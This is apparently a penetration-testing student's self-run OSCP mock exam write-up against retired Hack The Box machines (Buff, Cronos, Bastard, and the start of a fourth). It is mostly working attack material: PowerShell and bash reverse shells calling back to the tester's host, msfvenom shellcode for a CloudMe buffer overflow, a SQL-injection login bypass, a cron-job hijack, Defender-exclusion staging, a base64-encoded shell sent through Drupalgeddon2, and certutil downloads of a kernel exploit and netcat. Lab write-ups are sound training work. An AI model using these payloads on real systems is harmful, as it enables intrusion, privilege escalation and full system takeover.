Self-imposed mock to pressure-test my methodology before the real OSCP sitting. Kept the conditions as close to the actual exam as I could: a fixed box set, a hard time budget, no AI in the loop, and the report written as I went rather than reconstructed afterwards - same as exam day, where the clock doesn't stop while you take notes.
The set is four retired HTB machines chosen to mirror the OSCP topic spread - a couple of quick "points on the board" boxes, a Linux box, and an AD-flavoured Windows box to lean on the area I'm weakest in. Scoring follows the real split (70 to pass):
tun0 = 10.10.14.127
target = 10.129.1.147
PORT STATE SERVICE VERSION
7680/tcp open pando-pub?
8080/tcp open http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-open-proxy: Proxy might be redirecting requests
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
http://10.129.1.147:8080/ => shows a website, supposedly with a cms/system from "Gym Management Software 1.0"
curl -s http://10.129.1.147:8080/ -v
* Trying 10.129.1.147:8080...
* Established connection to 10.129.1.147 (10.129.1.147 port 8080) from 10.10.14.127 port 35626
* using HTTP/1.x
> GET / HTTP/1.1
> Host: 10.129.1.147:8080
> User-Agent: curl/8.19.0
> Accept: */*
>
* Request completely sent off
< HTTP/1.1 200 OK
< Date: Thu, 21 May 2026 20:39:55 GMT
< Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
< X-Powered-By: PHP/7.4.6
< Set-Cookie: sec_session_id=k93af4o68pdq1ppr6peiefjho8; path=/; HttpOnly
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Set-Cookie: sec_session_id=8decvds9g8cm0e5fqk20vme6r5; path=/; HttpOnly
Gym Management Software 1.0 (identified by checking sourcecode) is vuln to a "Unauthenticated Remote Code Execution" flaw. (https://www.exploit-db.com/exploits/48506)
python2 exploit_rce.py http://10.129.1.147:8080
$ python2 exploit_rce.py http://10.129.1.147:8080/
[+] Successfully connected to webshell.
C:\xampp\htdocs\gym\upload> whoami
buff\shaun
But it looks like the shell is in some way restricted. To circumvent this we can upload a PowerShell reverse-shell and catch it in penelope.
C:\xampp\htdocs\gym\upload> powershell -nop -W hidden -noni -ep bypass -c "$TCPClient = New-Object Net.Sockets.TCPClient('10.10.14.127', 1338);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + 'SHELL> ');$StreamWriter.Flush()}WriteToStream '';while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2>&1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()"
$ cd ~/Tools/penelope && ./penelope.py -i tun0 -p 1338
[+] Listening for reverse shells on 10.10.14.127:1338
> Main Menu (m) Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C)
[+] Got reverse shell from BUFF~10.129.1.147-Microsoft_Windows_10_Enterprise-x64-based_PC Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /home/resu/.penelope/sessions/BUFF~10.129.1.147-Microsoft_Windows_10_Enterprise-x64-based_PC/2026_05_21-23_11_08-378.log
-----------------------------------------------------------------------------------------------------------------------------
SHELL> dir
Directory: C:\xampp\htdocs\gym\upload
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 21/05/2026 22:05 53 kamehameha.php
SHELL> cd C:\Users\shaun\Desktop
SHELL> type user.txt
<redacted>
User pwned.
In the Downloads folder of Shaun we find a file called CloudMe_1112.exe.
Directory of C:\Users\Shaun\Downloads
14/07/2020 13:27 <DIR> .
14/07/2020 13:27 <DIR> ..
16/06/2020 16:26 17,830,824 CloudMe_1112.exe
A quick google search with the input "Cloudme 1112" gives us, as the first search result, the exploit-db entry for "CloudMe 1.11.2 - Buffer Overflow (PoC)" https://www.exploit-db.com/exploits/48389.
To confirm this hypothesis , we can check the Active Connections with "netstat -na".
TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING
Bingo.
Since CloudMe is only listening on 127.0.0.1:8888, we need to tunnel that port back to Kali to hit it with the BOF exploit. We'll use chisel for that. But before throwing binaries onto the target, we need to see what we're working against.
Check if Defender real-time protection is enabled:
SHELL> Get-MpComputerStatus | Select RealTimeProtectionEnabled, AntivirusEnabled, AMServiceEnabled
RealTimeProtectionEnabled AntivirusEnabled AMServiceEnabled
------------------------- ---------------- ----------------
True True True
Real-time protection is on, so dropping chisel.exe directly into C:\Users\shaun\Downloads will likely get it wrecked. Before going through obfuscation hassle, check if there are any AV exclusion paths:
SHELL> Get-MpPreference | Select -ExpandProperty ExclusionPath
C:\xampp
C:\xampp is excluded from Defender scanning. We can stage tooling there without it being touched.
AMSI is in play for any PowerShell we run, but since we're going to execute our payload via the BOF (raw shellcode straight to a process), AMSI doesn't apply to the actual privesc chain. Good to know either way.
On Kali, spin up an authenticated SMB share in the folder containing chisel.exe and the exploit script:
$ impacket-smbserver share . -smb2support -username df -password df
Impacket v0.14.0.dev0+20260326.150834.76ee8774 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
On the target, map the share and copy chisel into the excluded directory:
SHELL> net use \\10.10.14.127\share /u:df df
The command completed successfully.
SHELL> copy \\10.10.14.127\share\chisel.exe C:\xampp\chisel.exe
1 file(s) copied.
Gotcha: the share name in
impacket-smbserver <name> .has to match the\\IP\<name>path used innet use. Mismatch yieldsSMB2_TREE_CONNECT not found.
Start the chisel server on Kali in reverse mode, listening on 8000:
$ ./chisel server -p 8000 --reverse
2026/05/22 01:14:02 server: Reverse tunnelling enabled
2026/05/22 01:14:02 server: Fingerprint <...>
2026/05/22 01:14:02 server: Listening on http://0.0.0.0:8000
Connect back from the target, forwarding the target's 127.0.0.1:8888 to Kali's 127.0.0.1:8888:
SHELL> C:\xampp\chisel.exe client 10.10.14.127:8000 R:8888:127.0.0.1:8888
Verify locally on Kali:
$ ss -tlnp | grep 8888
LISTEN 0 128 127.0.0.1:8888 0.0.0.0:*
CloudMe on Buff is now reachable from Kali at 127.0.0.1:8888.
The PoC at https://www.exploit-db.com/exploits/48389 targets 127.0.0.1:8888 by default - perfect, no need to modify the target IP since the tunnel terminates there.
Generate shellcode with msfvenom, excluding the bad chars \x00\x0A\x0D:
$ msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.127 LPORT=1337 -b '\x00\x0A\x0D' -f python -v payload
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1899 bytes
payload = b""
payload += b"\xda\xc6\xd9\x74\x24\xf4\x5d\x33\xc9\xb8\x29"
payload += b"\x3e\x1b\xa3\xb1\x52\x31\x45\x17\x03\x45\x17"
payload += b"\x83\xc4\xc2\xf9\x56\xea\xd3\x7c\x98\x12\x24"
payload += b"\xe1\x10\xf7\x15\x21\x46\x7c\x05\x91\x0c\xd0"
payload += b"\xaa\x5a\x40\xc0\x39\x2e\x4d\xe7\x8a\x85\xab"
payload += b"\xc6\x0b\xb5\x88\x49\x88\xc4\xdc\xa9\xb1\x06"
payload += b"\x11\xa8\xf6\x7b\xd8\xf8\xaf\xf0\x4f\xec\xc4"
payload += b"\x4d\x4c\x87\x97\x40\xd4\x74\x6f\x62\xf5\x2b"
payload += b"\xfb\x3d\xd5\xca\x28\x36\x5c\xd4\x2d\x73\x16"
payload += b"\x6f\x85\x0f\xa9\xb9\xd7\xf0\x06\x84\xd7\x02"
payload += b"\x56\xc1\xd0\xfc\x2d\x3b\x23\x80\x35\xf8\x59"
payload += b"\x5e\xb3\x1a\xf9\x15\x63\xc6\xfb\xfa\xf2\x8d"
payload += b"\xf0\xb7\x71\xc9\x14\x49\x55\x62\x20\xc2\x58"
payload += b"\xa4\xa0\x90\x7e\x60\xe8\x43\x1e\x31\x54\x25"
payload += b"\x1f\x21\x37\x9a\x85\x2a\xda\xcf\xb7\x71\xb3"
payload += b"\x3c\xfa\x89\x43\x2b\x8d\xfa\x71\xf4\x25\x94"
payload += b"\x39\x7d\xe0\x63\x3d\x54\x54\xfb\xc0\x57\xa5"
payload += b"\xd2\x06\x03\xf5\x4c\xae\x2c\x9e\x8c\x4f\xf9"
payload += b"\x31\xdc\xff\x52\xf2\x8c\xbf\x02\x9a\xc6\x4f"
payload += b"\x7c\xba\xe9\x85\x15\x51\x10\x4e\x10\xac\x14"
payload += b"\xf1\x4c\xb2\x28\x08\xb4\x3b\xce\x78\xd6\x6d"
payload += b"\x59\x15\x4f\x34\x11\x84\x90\xe2\x5c\x86\x1b"
payload += b"\x01\xa1\x49\xec\x6c\xb1\x3e\x1c\x3b\xeb\xe9"
payload += b"\x23\x91\x83\x76\xb1\x7e\x53\xf0\xaa\x28\x04"
payload += b"\x55\x1c\x21\xc0\x4b\x07\x9b\xf6\x91\xd1\xe4"
payload += b"\xb2\x4d\x22\xea\x3b\x03\x1e\xc8\x2b\xdd\x9f"
payload += b"\x54\x1f\xb1\xc9\x02\xc9\x77\xa0\xe4\xa3\x21"
payload += b"\x1f\xaf\x23\xb7\x53\x70\x35\xb8\xb9\x06\xd9"
payload += b"\x09\x14\x5f\xe6\xa6\xf0\x57\x9f\xda\x60\x97"
payload += b"\x4a\x5f\x90\xd2\xd6\xf6\x39\xbb\x83\x4a\x24"
payload += b"\x3c\x7e\x88\x51\xbf\x8a\x71\xa6\xdf\xff\x74"
payload += b"\xe2\x67\xec\x04\x7b\x02\x12\xba\x7c\x07"
Paste the resulting payload block into the payload = section of the exploit script, replacing the placeholder shellcode.
Open a listener on Kali for the reverse shell:
$ nc -lvnp 1337
listening on [any] 1337 ...
Fire the exploit from a second Kali pane:
$ python2 48389.py
Shell catches as buff\administrator:
C:\Windows\system32> whoami
buff\administrator
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<redacted>
Box pwned.
tun0 = 10.10.14.127 target = 10.129.227.211
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 18:b9:73:82:6f:26:c7:78:8f:1b:39:88:d8:02:ce:e8 (RSA)
| 256 1a:e6:06:a6:05:0b:bb:41:92:b0:28:bf:7f:e5:96:3b (ECDSA)
|_ 256 1a:0e:e7:ba:00:cc:02:01:04:cd:a3:a9:3f:5e:22:20 (ED25519)
53/tcp open domain ISC BIND 9.10.3-P4 (Ubuntu Linux)
| dns-nsid:
|_ bind.version: 9.10.3-P4-Ubuntu
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD POST
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
DNS on 53 alongside web - strong signal for vhost / zone-transfer territory. Web on 80 returns a placeholder page redirecting to cronos.htb, so we add it to /etc/hosts.
Directory fuzz on the main vhost - nothing actionable, only the default app shell:
$ feroxbuster -u http://cronos.htb/ --filter-status 404
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ver: 2.13.1
--------------------------------------------------
Target Url | http://cronos.htb/
In-Scope Url | cronos.htb
Threads | 50
Wordlist | /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Status Code Filters | [404]
Timeout (secs) | 7
User-Agent | feroxbuster/2.13.1
Config File | /etc/feroxbuster/ferox-config.toml
Extract Links | true
HTTP methods | [GET]
Recursion Depth | 4
--------------------------------------------------
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter
403 GET 11l 32w -c Auto-filtering found 404-like response and created new filter
301 GET 9l 28w 306c http://cronos.htb/css => http://cronos.htb/css/
301 GET 9l 28w 305c http://cronos.htb/js => http://cronos.htb/js/
200 GET 85l 137w 2319c http://cronos.htb/
200 GET 9l 1270w 118393c http://cronos.htb/css/app.css
200 GET 41l 5569w 284534c http://cronos.htb/js/app.js
Vhost fuzz:
$ ffuf -H "Host: FUZZ.cronos.htb" -u http://cronos.htb/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fs 11439
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://cronos.htb/
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt
:: Header : Host: FUZZ.cronos.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response size: 11439
________________________________________________
www [Status: 200, Size: 2319, Words: 990, Lines: 86, Duration: 53ms]
admin [Status: 200, Size: 1547, Words: 525, Lines: 57, Duration: 2372ms]
Two vhosts found: www and admin. Add both to /etc/hosts:
$ echo "10.129.227.211 cronos.htb www.cronos.htb admin.cronos.htb" | sudo tee -a /etc/hosts
admin.cronos.htb serves a basic username/password login form - plain HTML, no client-side validation, no framework markers in the source. Prime SQLi candidate.
Capture the login POST in Burp, save as admin_login.req, throw it at sqlmap:
$ sqlmap -r admin_login.req --level=3 --risk=3
...
sqlmap identified the following injection point(s) with a total of 439 HTTP(s) requests:
---
Parameter: username (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: username=-4760' OR 3712=3712-- cEzj&password=1234
Type: time-based blind
Title: MySQL > 5.0.12 AND time-based blind (heavy query)
Payload: username=123' AND 2231=(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C WHERE 0 XOR 1)-- FHEw&password=1234
---
[00:20:42] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.10 or 16.04 (yakkety or xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL > 5.0.12
No need to dump the DB - we just need to bypass auth. Drop the boolean-based payload straight into the username field via the browser login form:
username: -4760' OR 3712=3712-- cEzj
password: anything
Auth bypassed. Lands on Net Tool v0.1 - a simple PHP frontend for ping / traceroute. The backend concatenates user input into a shell command without sanitization, so command injection is trivial.
![[Pasted image 20260523005459.png]]
Final working revshell payload (POST body):
command=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.127/1340+0>%261'&host=
Catch on Kali:
$ nc -lvnp 1340
listening on [any] 1340 ...
connect to [10.10.14.127] from cronos.htb [10.129.227.211] ...
$ whoami
www-data
User flag - sitting in noulis' home and world-readable (-r--r--r--), so we don't even need to escalate to grab it:
www-data@cronos:/var/www/laravel/database$ ls -la /home/noulis/
total 32
drwxr-xr-x 4 noulis noulis 4096 May 10 2022 .
drwxr-xr-x 3 root root 4096 May 10 2022 ..
-rw-r--r-- 1 noulis noulis 220 Mar 22 2017 .bash_logout
-rw-r--r-- 1 noulis noulis 3771 Mar 22 2017 .bashrc
drwx------ 2 noulis noulis 4096 May 10 2022 .cache
drwxr-xr-x 3 root root 4096 May 10 2022 .composer
-rw-r--r-- 1 noulis noulis 655 Mar 22 2017 .profile
-r--r--r-- 1 noulis noulis 33 May 23 01:01 user.txt
www-data@cronos:/var/www/laravel/database$ cat /home/noulis/user.txt
<redacted>
User pwned.
A Laravel install lives at /var/www/laravel. Nothing immediately interesting in the config. Move on to system enumeration - check /etc/crontab:
www-data@cronos:/var/www/laravel$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root php /var/www/laravel/artisan schedule:run >> /dev/null 2>&1
Root runs php /var/www/laravel/artisan every minute. Check write perms on the target file:
www-data@cronos:/var/www/laravel$ ls -la artisan
-rwxr-xr-x 1 www-data www-data 1646 May 23 01:15 artisan
Owned by www-data and writable. Overwrite with a PHP one-liner that spawns a reverse shell:
www-data@cronos:/var/www/laravel$ echo "<?php exec(\"/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.127/1337 0>&1'\"); ?>" > artisan
Listener on Kali, wait up to a minute for the next cron tick:
$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.10.14.127] from cronos.htb [10.129.227.211] ...
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
<redacted>
Box pwned.
tun0 = 10.10.14.127 target = 10.129.4.108
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-server-header: Microsoft-IIS/7.5
|_http-title: Welcome to Bastard | Bastard
135/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
$ feroxbuster -u http://10.129.4.108 --filter-status 503
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher ver: 2.13.1
--------------------------------------------------
Target Url | http://10.129.4.108/
In-Scope Url | 10.129.4.108
Threads | 50
Wordlist | /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
Status Code Filters | [503]
Timeout (secs) | 7
User-Agent | feroxbuster/2.13.1
Config File | /etc/feroxbuster/ferox-config.toml
Extract Links | true
HTTP methods | [GET]
Recursion Depth | 4
--------------------------------------------------
200 GET 44l 290w 1874c http://10.129.4.108/INSTALL.pgsql.txt
200 GET 45l 262w 1717c http://10.129.4.108/INSTALL.mysql.txt
200 GET 31l 209w 1298c http://10.129.4.108/INSTALL.sqlite.txt
200 GET 246l 1501w 10123c http://10.129.4.108/UPGRADE.txt
200 GET 307l 846w 8710c http://10.129.4.108/MAINTAINERS.txt
200 GET 339l 2968w 18092c http://10.129.4.108/LICENSE.txt
200 GET 400l 2475w 17995c http://10.129.4.108/INSTALL.txt
200 GET 2284l 16004w 110781c http://10.129.4.108/CHANGELOG.txt
403 GET 29l 92w 1233c http://10.129.4.108/admin
403 GET 29l 92w 1233c http://10.129.4.108/search
403 GET 29l 92w 1233c http://10.129.4.108/cron.php
200 GET 152l 395w 7482c http://10.129.4.108/user/login
200 GET 146l 368w 7132c http://10.129.4.108/user/password
200 GET 154l 463w 8136c http://10.129.4.108/user/register
403 GET 29l 92w 1233c http://10.129.4.108/node/add
403 GET 29l 92w 1233c http://10.129.4.108/update.php
403 GET 29l 92w 1233c http://10.129.4.108/user/logout
200 GET 59l 173w 3173c http://10.129.4.108/install.php
CHANGELOG.txt exposes the Drupal version: Drupal 7.54, 2017-02-01.
Searching for exploits for Drupal 7.54 -> CVE-2018-7600 ("Drupalgeddon 2"). After trying a few non-working PoCs, settled on https://github.com/dreadlocked/Drupalgeddon2.
Doesn't work out of the box against IIS/Windows - by default the script tries to drop a PHP webshell, which fails on this stack. Set @try_phpshell = false in the ruby source so it stays on the interactive RCE channel:
$ ruby drupalgeddon2.rb http://10.129.4.108/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://10.129.4.108/
[i] Write? : Skipping writing PHP web shell
--------------------------------------------------------------------------------
[+] Found : http://10.129.4.108/CHANGELOG.txt (HTTP Response: 200)
[+] Drupal!: v7.54
--------------------------------------------------------------------------------
[*] Testing: Form (user/password)
[+] Result : Form valid
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Clean URLs
[+] Result : Clean URLs enabled
--------------------------------------------------------------------------------
[*] Testing: Code Execution (Method: name)
[i] Payload: echo LGYJPYSX
[+] Result : LGYJPYSX
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
drupalgeddon2>> whoami
nt authority\iusr
drupalgeddon2>> hostname
Bastard
The drupalgeddon2 RCE channel is restrictive (single-shot commands, no interactive features). Upgrade to a full reverse shell.
A naive PowerShell one-liner gets rejected by the script's bad-char filter:
drupalgeddon2>> powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.14.127',1337);..."
[!] WARNING: Detected an known bad character (>)
The Ruby script filters > (and likely other shell metachars). Base64-encoding via -EncodedCommand sidesteps that entirely - the encoded blob is just [A-Za-z0-9+/=]. Key gotcha: PowerShell expects UTF-16 LE for -EncodedCommand, not UTF-8.
Encode on Kali:
$ echo -n '$client = New-Object System.Net.Sockets.TCPClient("10.10.14.127",1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbytes = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush()};$client.Close()' | iconv -t UTF-16LE | base64 -w0
Fire through drupalgeddon2:
drupalgeddon2>> powershell -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACcAMQAwAC4AMQAwAC4AMQA0AC4AMQAyADcAJwAsADEAMwAzADcAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQBzACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlAHMALAAwACwAJABzAGUAbgBkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
Catch on Kali:
$ cd ~/Tools/penelope && ./penelope.py -i tun0 -p 1337
[+] Listening for reverse shells on 10.10.14.127:1337
> Main Menu (m) Payloads (p) Clear (Ctrl-L) Quit (q/Ctrl-C)
[+] Got reverse shell from BASTARD~10.129.4.108-Microsoft_Windows_Server_2008_R2_Datacenter_-x64-based_PC Assigned SessionID <1>
[+] Added readline support...
[+] Interacting with session [1], Shell Type: Readline, Menu key: Ctrl-D
[+] Logging to /home/resu/.penelope/sessions/BASTARD~10.129.4.108-Microsoft_Windows_Server_2008_R2_Datacenter_-x64-based_PC/2026_05_26-00_24_15-078.log
-----------------------------------------------------------------------------------------------------------------------------
PS C:\Program Files (x86)> whoami
nt authority\iusr
Grab user.txt:
PS C:\Program Files (x86)> type C:\Users\dimitris\Desktop\user.txt
<redacted>
System enumeration via systeminfo:
PS C:\Program Files (x86)> systeminfo
Host Name: BASTARD
OS Name: Microsoft Windows Server 2008 R2 Datacenter
OS Version: 6.1.7600 N/A Build 7600
OS Manufacturer: Microsoft Corporation
OS Configuration: Standalone Server
OS Build Type: Multiprocessor Free
Registered Owner: Windows User
Registered Organization:
Product ID: 55041-402-3582622-84461
Original Install Date: 18/3/2017, 7:04:46 ??
System Boot Time: 25/5/2026, 11:46:57 ??
System Manufacturer: VMware, Inc.
System Model: VMware Virtual Platform
System Type: x64-based PC
Processor(s): 2 Processor(s) Installed.
[01]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
[02]: AMD64 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version: Phoenix Technologies LTD 6.00, 12/11/2020
Windows Directory: C:\Windows
System Directory: C:\Windows\system32
Boot Device: \Device\HarddiskVolume1
System Locale: el;Greek
Input Locale: en-us;English (United States)
Time Zone: (UTC+02:00) Athens, Bucharest, Istanbul
Total Physical Memory: 2.047 MB
Available Physical Memory: 1.422 MB
Virtual Memory: Max Size: 4.095 MB
Virtual Memory: Available: 3.391 MB
Virtual Memory: In Use: 704 MB
Page File Location(s): C:\pagefile.sys
Domain: HTB
Logon Server: N/A
Hotfix(s): N/A
Network Card(s): 1 NIC(s) Installed.
[01]: Intel(R) PRO/1000 MT Network Connection
Connection Name: Local Area Connection
DHCP Enabled: Yes
DHCP Server: 10.10.10.2
IP address(es)
[01]: 10.129.4.108
Key signals: Windows Server 2008 R2, Build 7600, Hotfix(s): N/A - an unpatched kernel, classic kernel-exploit territory.
MS15-051 (NtUserMessageCall token swap) applies cleanly here. Compiled binary at https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS15-051.
Note: AMSI isn't relevant on this OS - it was introduced with Windows 10 / Server 2016. The reason for staging in C:\Windows\Tasks is just that it's a writable location available to IUSR with low default scrutiny.
Exploit plan:
ms15-051x64.exe + nc.exe from Kali via python3 -m http.serverC:\Windows\Tasks with certutilms15-051x64.exe to spawn a SYSTEM-context nc shell back to KaliStage on Kali:
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Pull on target:
PS C:\Program Files (x86)> cd C:\Windows\Tasks
PS C:\Windows\Tasks> certutil -urlcache -split -f http://10.10.14.127:8000/ms15-051x64.exe ms15-051x64.exe
PS C:\Windows\Tasks> certutil -urlcache -split -f http://10.10.14.127:8000/nc.exe nc.exe
Sanity check the exploit:
PS C:\Windows\Tasks> .\ms15-051x64.exe "whoami"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 2864 created.
==============================
nt authority\system
Elevation works. Spawn the SYSTEM shell back to a netcat listener:
PS C:\Windows\Tasks> .\ms15-051x64.exe "nc.exe -e cmd.exe 10.10.14.127 1339"
$ nc -lvnp 1339
listening on [any] 1339 ...
connect to [10.10.14.127] from (UNKNOWN) [10.129.4.108] 61206
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\tasks>whoami
nt authority\system
C:\Windows\tasks>type C:\Users\Administrator\Desktop\root.txt
<redacted>
Box pwned.
tun0 = 10.10.14.127
target = 10.129.95.180
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
